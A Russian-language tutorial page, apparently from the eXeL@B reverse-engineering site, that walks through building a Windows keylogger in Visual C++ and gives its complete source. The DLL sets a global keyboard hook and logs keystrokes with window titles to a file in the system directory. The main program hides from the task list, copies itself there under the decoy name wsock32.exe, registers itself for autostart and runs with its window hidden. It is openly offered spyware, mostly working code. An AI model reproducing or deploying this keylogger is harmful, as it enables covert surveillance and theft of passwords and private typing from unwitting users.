Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 августа!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Программисты долго мучаются с кодом прогаммы, изучают С++, WinAPI функции, MSDN. Потом пишут банальную систему защиты или навешивают банальный протектор, а крэкеры и реверсеры справляются с такой защитой за 5 минут. В итоге, продажи программы почти нулевые. Чтобы такого не допустить, тут самому надо немного поднабрать опыта отладки, реверсинга, тот же отладчик Ollydbg изучить или дизассемблер IDA Pro. Но где искать по крохам эти знания? Нет, конечно можно годами "методом тыка" разбираться, но куда быстрее видеокурс специальный посмотреть. Вот тут он есть: ссылка. Автор курса с большим опытом и объясняет понятно, я из этого курса много узнал про то как работает компьютер, процессор, про инструменты специальные и как с ними работать. Мои коллеги программисты на работе ничего такого и не знают, теперь я им нос утру.

Keylogger на Visual C++.



Счас мы будем писать кейлогер на Visual C++, здесь будут успользоваться апшные функции, так что можно переписать на Delphi, если кого сильно препрет, то можно и на асме:)). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой проги(exe-шника).
И так, вот исходники дополнительной dll ks.dll:


#include "stdafx.h"
#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = "ks.txt";//название лог-файла
char FullLogFile[256] = "";
char BufStr0[19] = "";
char BufStr1[200] = "";
char BufStr2[256] = "";
char OldAct[1024] = "";
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return ActW;
};
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
                    )
{  //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
    GetSystemDirectory(FullLogFile,256);
    strcat(FullLogFile,"\\");
    strcat(FullLogFile,LogFileName);
    LogFile = _lopen(FullLogFile,OF_WRITE);
    if (LogFile == 4294967295)
    {
        LogFile = _lcreat(FullLogFile,4);
    };
    _lclose(LogFile);
    hmod = hModule;
return TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION && !(lParam & 0x80000000))
    {
       //если нажата клавиша, то
        GetKeyNameText(lParam,BufStr0,19);
        //если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
        char *Active = ActWin();
        if (strcmp(OldAct,Active) !=0)
        {
            strcpy(BufStr1,"\nActive Window(TITLE) ");
            strcat(BufStr1,Active);
            strcat(BufStr1,"\n");
               //вместе с датой и временем
            char DateStr0[256] = "dd.MM.yyyy";
            char TimeStr1[256] = "hh : mm : ss";
    char DateStr1[256] = "";
    GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,"[");
strcat(BufStr1,DateStr1);
    strcat(BufStr1,"] ");
            GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
            strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
    strcat(BufStr1," \n");
            strcat(BufStr1,"---------------------------------------------------\n");
            strcpy(OldAct,Active);
        };
        //пишем название нажатой клавиши
strcpy(BufStr2," ");
        strcat(BufStr1,BufStr2);
        strcat(BufStr1,BufStr0);
        LogFile = _lopen(FullLogFile,OF_WRITE);
        _llseek(LogFile,0,FILE_END);
        _lwrite(LogFile,BufStr1,lstrlen(BufStr1));
        _lclose(LogFile);
        strcpy(BufStr1,"");
    };
    return CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook = SetWindowsHookEx(WH_KEYBOARD,
        HksKeyProc,
                            (HINSTANCE)hmod,
                            NULL);

};
//процедура для закрытия хука
void HksClose()
{
    UnhookWindowsHookEx(khook);
};
Теперь нужно написать ks.h:
#ifndef KS_H
#define KS_H

#include <windows.h>
#include <stdio.h>

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//---------------------------------------------------------------------------
extern "C" {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//---------------------------------------------------------------------------

#endif
Теперь создаем еще один проэкт для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).
Вот листинг hks.cpp:

#include "stdafx.h"
#include "ks.h"
char szClassName[256] = "hKs10";
char szAppName[256] = "hKsv10";
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
//проца для прятания от Ctrl+Alt+Del
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//прячем от 3x клавиш
if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
RSP(NULL,1);
//копируем ex-шник и дополнительную dll в %winsysdir%
    char szValue [256] = "wsock32.exe";
    HKEY pKey;
//прописываемся в автостарте
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
    RegSetValueEx(pKey,"wsock32",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
char WinDir[256] = "";
    GetSystemDirectory(WinDir,sizeof(WinDir));
    strcat(WinDir,"\\");
    strcat(WinDir,szValue);
    LPSTR lpFile = new TCHAR[256];
    GetModuleFileName(NULL,lpFile,200);
   
    CopyFile(lpFile,WinDir,FALSE);
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,"\\ks.dll");
CopyFile("ks.dll",WinDir,FALSE);
//пишем дату записи в файл
    char BufStr1[6666] = "";
char DateStr0[256] = "dd.MM.yyyy";
    char TimeStr1[256] = "hh : mm : ss";
    char DateStr1[256] = "";
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcpy(BufStr1,"\n---------------------------------------------------\n");
strcat(BufStr1," Write to file: [");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"] ");
    GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"\n");

    char LogFile[256]= "";
    GetSystemDirectory(LogFile,256);
    strcat(LogFile,"\\ks.txt");
    HFILE Log1 = _lopen(LogFile,OF_WRITE);
    _lwrite(Log1,BufStr1,lstrlen(BufStr1));
    _lclose(Log1);

    HksInit();

HWND hwnd;
    MSG msg;
    WNDCLASS wc;
    wc.style = 0;
    wc.lpfnWndProc = WndProc;
    wc.cbClsExtra = 0;
    wc.cbWndExtra = 0;
    wc.lpszClassName = szClassName;
    wc.lpszMenuName = NULL;
    wc.hInstance = hInstance;
    wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
    wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

    RegisterClass(&wc);

    hwnd = CreateWindow(szClassName,
        szAppName,
                        WS_OVERLAPPEDWINDOW,
                        2,
                        10,
                        70,
                        100,
                        NULL,
                        NULL,
                        hInstance,
                        NULL);

    ShowWindow(hwnd,SW_HIDE);
    UpdateWindow(hwnd);
//обрабатываем сообщения
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
    }
    return 0;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
    switch (iMsg)
    {
    case WM_CREATE:return 1;break;
        case WM_DESTROY:
            HksClose();
            PostQuitMessage(1);
            break;
    };


    return DefWindowProc(hwnd,iMsg,wParam,lParam);
};

Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.



<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS